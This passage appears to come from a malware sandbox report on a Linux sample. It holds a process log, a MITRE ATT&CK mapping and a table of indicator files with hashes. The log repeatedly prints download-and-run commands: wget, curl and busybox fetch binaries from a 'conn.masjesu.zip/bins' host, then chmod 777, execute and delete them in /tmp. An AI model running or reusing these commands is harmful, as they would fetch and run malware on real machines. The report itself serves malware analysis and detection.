  chmod 777 Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  ./Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
  2⤵
  PID:964
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - System Network Configuration Discovery
  PID:965
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - System Network Configuration Discovery
  PID:968
- /bin/chmod
  chmod 777 1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  ./1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm 1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
  2⤵
  PID:971
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  - System Network Configuration Discovery
  PID:972
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  - System Network Configuration Discovery
  PID:975
- /bin/chmod
  chmod 777 BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  - File and Directory Permissions Modification
  PID:976
- /tmp/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  ./BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  - Executes dropped EXE
  PID:977
- /bin/rm
  rm BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
  2⤵
  PID:978
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  - System Network Configuration Discovery
  PID:979
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:980
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  PID:982
- /bin/chmod
  chmod 777 H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  ./H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
  2⤵
  PID:985
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  PID:986
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:987
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  - System Network Configuration Discovery
  PID:989
- /bin/chmod
  chmod 777 HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  - File and Directory Permissions Modification
  PID:990
- /tmp/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  ./HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  - Executes dropped EXE
  PID:991
- /bin/rm
  rm HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
  2⤵
  PID:992
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  - System Network Configuration Discovery
  PID:993
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:994
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  - System Network Configuration Discovery
  PID:996
- /bin/chmod
  chmod 777 leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  - File and Directory Permissions Modification
  PID:997
- /tmp/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  ./leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  - Executes dropped EXE
  PID:998
- /bin/rm
  rm leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
  2⤵
  PID:999
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1001
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  - System Network Configuration Discovery
  PID:1003
- /bin/chmod
  chmod 777 xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  - File and Directory Permissions Modification
  PID:1004
- /tmp/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  ./xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  - Executes dropped EXE
  PID:1005
- /bin/rm
  rm xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
  2⤵
  PID:1006

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ

Path /tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ	738	GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
/tmp/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q	745	c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
/tmp/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf	757	7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
/tmp/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN	785	PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
/tmp/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb	814	TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
/tmp/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr	821	nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
/tmp/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M	837	IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
/tmp/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb	865	Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
/tmp/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI	872	1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
/tmp/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7	879	BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
/tmp/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U	886	H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
/tmp/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk	893	HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
/tmp/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D	900	leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
/tmp/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1	907	xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1
/tmp/GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ	914	GfJMbDLS8s8O3IKOG9UQkqTvdeOWZg1BaQ
/tmp/c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q	921	c5qfgYbAIeACOzPccAytNEGhRQ30tatL6q
/tmp/7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf	928	7J7ZiNflIaJfH1WVljl2ZNUqjG0CSZxxTf
/tmp/PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN	935	PhSQdcNnd0ufIGPttKEykFIMzJSyWhVMtN
/tmp/TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb	942	TyCLiiiU1yAQrUEtC4Sagbt16ss5ugJHbb
/tmp/nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr	949	nkKu5b8VzzE61IIFIuQu9Xfp7LZyj160Kr
/tmp/IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M	956	IcXbwNHsPA6RELXq6RhEb1M0ZnEHqUyD6M
/tmp/Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb	963	Hkh8vo7nPwvNRhA1tHGpxFUkTjg3Oh7SBb
/tmp/1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI	970	1OHhndGqsJMZX72aCWis1wD6PZJCPAAddI
/tmp/BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7	977	BWuTLql3yetJvntAoVKJpK6f4xYZxep4M7
/tmp/H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U	984	H3ae8o8ouHGPdqaZDm9vgy4BQ7sA2oN85U
/tmp/HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk	991	HFyEvxWgsDakOn28M622gbaDmzRs2mnAVk
/tmp/leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D	998	leLO5KNVTLTWen2DxUceADyOD8mbGNeY8D
/tmp/xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1	1005	xbJV5S8zxpCp9m7vKlFxwSyEigXlc0XDC1